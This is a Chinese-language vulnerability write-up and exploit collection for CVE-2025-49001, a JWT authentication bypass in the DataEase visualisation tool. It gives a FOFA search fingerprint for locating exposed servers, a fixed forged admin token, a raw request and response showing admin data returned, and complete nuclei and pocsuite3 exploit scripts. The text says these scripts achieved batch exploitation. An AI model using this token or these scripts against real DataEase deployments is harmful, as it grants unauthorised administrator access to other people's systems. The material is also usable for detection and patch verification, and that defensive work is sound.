一、Dataease简介
DataEase 是一款开源的数据可视化分析工具,旨在帮助用户轻松连接各种数据源,快速创建专业的数据仪表板和报表。其核心特点是:
- 零代码操作:通过直观的拖拽式界面,无需编程基础,业务人员也能轻松完成数据整合、处理和可视化设计;
- 多源支持:支持接入数据库(MySQL、Oracle、SQL Server等)、Excel文件、API接口及大数据平台(Hadoop、Spark)等;
- 丰富可视化:内置多样化图表类型(柱形图、地图、漏斗图等)和交互式控件,满足多场景分析需求;
- 敏捷协作:支持仪表板实时共享、权限管控和定时邮件推送,促进团队数据驱动决策;
- 开源免费:社区版完全免费,企业可私有化部署,保障数据安全且节省成本。
一句话总结:DataEase 以“人人可用的敏捷分析” 为理念,大幅降低数据分析门槛,让企业快速实现数据价值落地。
1.1 fofa指纹
title="DataEase"
二、认证绕过漏洞CVE-2025-49001
2.1 简介
DataEase 2.10.10之前版本存在授权问题漏洞,该漏洞源于密钥验证未成功生效,可能导致用户使用任意密钥伪造JWT令牌。
DataEase 的 JWT 令牌校验逻辑存在缺陷,当密钥验证失败时未中断后续流程。
攻击者可通过任意密钥伪造包含 {"uid":1,"oid":1}
的 JWT 令牌,绕过身份认证。
2.2 利用方式
在请求头中添加恶意令牌(如 X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8
)
直接访问敏感接口(如 /de2api/user/info、/de2api/license/version),获取管理员权限。
2.3 影响
未授权访问后台功能,为后续攻击(如 RCE)提供条件。
三、漏洞复现
- jwt token 构造
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8
- 绕过认证
GET /de2api/user/info HTTP/1.1
Host: ip
Accept: application/json, text/plain, */*
out_auth_platform: default
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8
- 响应数据包
HTTP/1.1 200
X-DE-EXECUTE-VERSION: 2.3.0
Cache-Control: no-cache
Cache: no-cache
Pragma: no-cache
Expires: 0
Content-Type: application/json
Date: Thu, 12 Jun 2025 03:31:23 GMT
Content-Length: 93
{"code":0,"msg":null,"data":{"id":"1","name":"系统管理员","oid":"1","language":"zh-CN"}}
四、POC
4.1 nuclei-poc
id: dataease-jwt-auth-bypass
info:
name: DataEase JWT Authentication Bypass
author: sixiaokai
severity: critical
description: |
检测 DataEase 是否存在 JWT 认证绕过漏洞(CVE-2025-49001),利用固定令牌未授权访问管理员接口。
reference:
- https://github.com/dataease/dataease
tags: dataease,auth-bypass,jwt
requests:
- method: GET
path:
- "{{BaseURL}}/de2api/user/info" # 敏感信息接口
headers:
Accept: "application/json, text/plain, */*"
out_auth_platform: "default"
X-DE-TOKEN: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8" # 固定伪造令牌
matchers:
- type: status
status:
- 200 # 关键状态码
- type: word
words:
- '"code":0' # 成功响应标识
- '"name":"系统管理员"' # 管理员账户特征
condition: and # 需同时满足
- type: word
part: header
words:
- "X-DE-EXECUTE-VERSION" # 版本标识头(确认目标为 DataEase)
成功实现批量利用。
4.2 pocsuite-poc
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
class DataEase_JWT_Bypass(POCBase):
vulID = "CVE-2025-49001" # 漏洞编号
version = "1.0"
author = "sixiaokai"
vulDate = "2025-06-03"
createDate = "2025-06-12"
updateDate = "2025-06-12"
references = [
"https://github.com/dataease/dataease/security/advisories/GHSA-xx2m-gmwg-mf3r" # 官方公告
]
name = "DataEase JWT Authentication Bypass"
appPowerLink = "https://github.com/dataease/dataease"
appName = "DataEase"
appVersion = "< 2.10.10"
vulType = "authentication-bypass"
desc = '''
攻击者可通过伪造JWT令牌(固定密钥)绕过身份认证,未授权访问敏感接口(如/de2api/user/info),获取管理员权限。
'''
samples = ["http://127.0.0.1"]
cyberspace = {'fofa': 'title="DataEase"'}
def _verify(self):
result = {}
target = self.url.rstrip('/')
# 固定漏洞利用令牌(PoC验证专用)
malicious_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8"
headers = {
"Accept": "application/json, text/plain, */*",
"out_auth_platform": "default",
"X-DE-TOKEN": malicious_token
}
# 检测路径(多个敏感接口)
vul_paths = ["/de2api/user/info", "/de2api/license/version"]
for path in vul_paths:
url = target + path
try:
resp = requests.get(url, headers=headers, timeout=10, verify=False)
# 漏洞存在条件:状态码200 + 返回管理员信息
if resp.status_code == 200 and '"code":0' in resp.text and ('"name":"系统管理员"' in resp.text or '"name":"Administrator"' in resp.text):
result['VerifyInfo'] = {
'URL': url,
'ExploitToken': malicious_token,
'Response': resp.text[:200] + "..." # 截断部分响应
}
return self.parse_output(result)
except Exception as e:
logger.warning(f"Request error: {str(e)}")
return self.parse_output(result)
def _attack(self):
return self._verify() # 验证模式与攻击模式逻辑相同
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail("Target is not vulnerable")
return output
register_poc(DataEase_JWT_Bypass)
成功实现批量检测利用。